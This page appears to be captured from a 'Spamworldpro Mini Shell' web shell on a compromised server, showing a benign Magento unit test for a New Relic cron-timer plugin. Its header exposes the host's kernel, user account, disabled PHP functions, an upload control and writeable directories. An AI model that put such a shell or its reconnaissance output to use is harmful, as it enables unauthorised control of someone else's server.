Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-new-relic-reporting/Test/Unit/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/module-new-relic-reporting/Test/Unit/Plugin/StatPluginTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\NewRelicReporting\Test\Unit\Plugin;

use Magento\Framework\Profiler\Driver\Standard\Stat;
use Magento\Framework\TestFramework\Unit\Helper\ObjectManager;
use Magento\NewRelicReporting\Model\NewRelicWrapper;
use Magento\NewRelicReporting\Plugin\StatPlugin;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

class StatPluginTest extends TestCase
{
    private const STAT_NAME_NOT_CRON_JOB = 'NotCronJob';
    private const STAT_NAME_CRON_JOB = StatPlugin::TIMER_NAME_CRON_PREFIX . 'Name';

    /**
     * @var StatPlugin
     */
    private $statPlugin;

    /**
     * @var MockObject|NewRelicWrapper
     */
    private $newRelicWrapperMock;

    /**
     * @var MockObject|Stat
     */
    private $statMock;

    /**
     * Build class for testing
     */
    protected function setUp(): void
    {
        $objectManager = new ObjectManager($this);

        $this->statPlugin = $objectManager->getObject(StatPlugin::class, [
            'newRelicWrapper' => $this->getNewRelicWrapperMock()
        ]);

        $this->statMock = $this->getMockBuilder(Stat::class)
            ->disableOriginalConstructor()
            ->getMock();
    }

    /**
     * Expects that NewRelic wrapper will never be called
     */
    public function testNewRelicTransactionNameIsNotSetIfNotCronjobPattern()
    {
        $this->newRelicWrapperMock
            ->expects($this->never())
            ->method('setTransactionName');
        $this->newRelicWrapperMock
            ->expects($this->never())
            ->method('endTransaction');

        $this->statPlugin->beforeStart($this->statMock, self::STAT_NAME_NOT_CRON_JOB);
        $this->statPlugin->beforeStop($this->statMock, self::STAT_NAME_NOT_CRON_JOB);
    }

    /**
     * NewRelic Wrapper is called when Task name fits Cron Job pattern
     */
    public function testNewRelicTransactionNameIsSetForCronjobNamePattern()
    {
        $this->newRelicWrapperMock
            ->expects($this->once())
            ->method('setTransactionName');
        $this->newRelicWrapperMock
            ->expects($this->once())
            ->method('endTransaction');

        $this->statPlugin->beforeStart($this->statMock, self::STAT_NAME_CRON_JOB);
        $this->statPlugin->beforeStop($this->statMock, self::STAT_NAME_CRON_JOB);
    }

    /**
     * @return NewRelicWrapper
     */
    private function getNewRelicWrapperMock(): NewRelicWrapper
    {
        if (null === $this->newRelicWrapperMock) {
            $this->newRelicWrapperMock = $this->getMockBuilder(NewRelicWrapper::class)
                ->disableOriginalConstructor()
                ->setMethods(['setTransactionName', 'endTransaction'])
                ->getMock();
        }

        return $this->newRelicWrapperMock;
    }
}

Spamworldpro Mini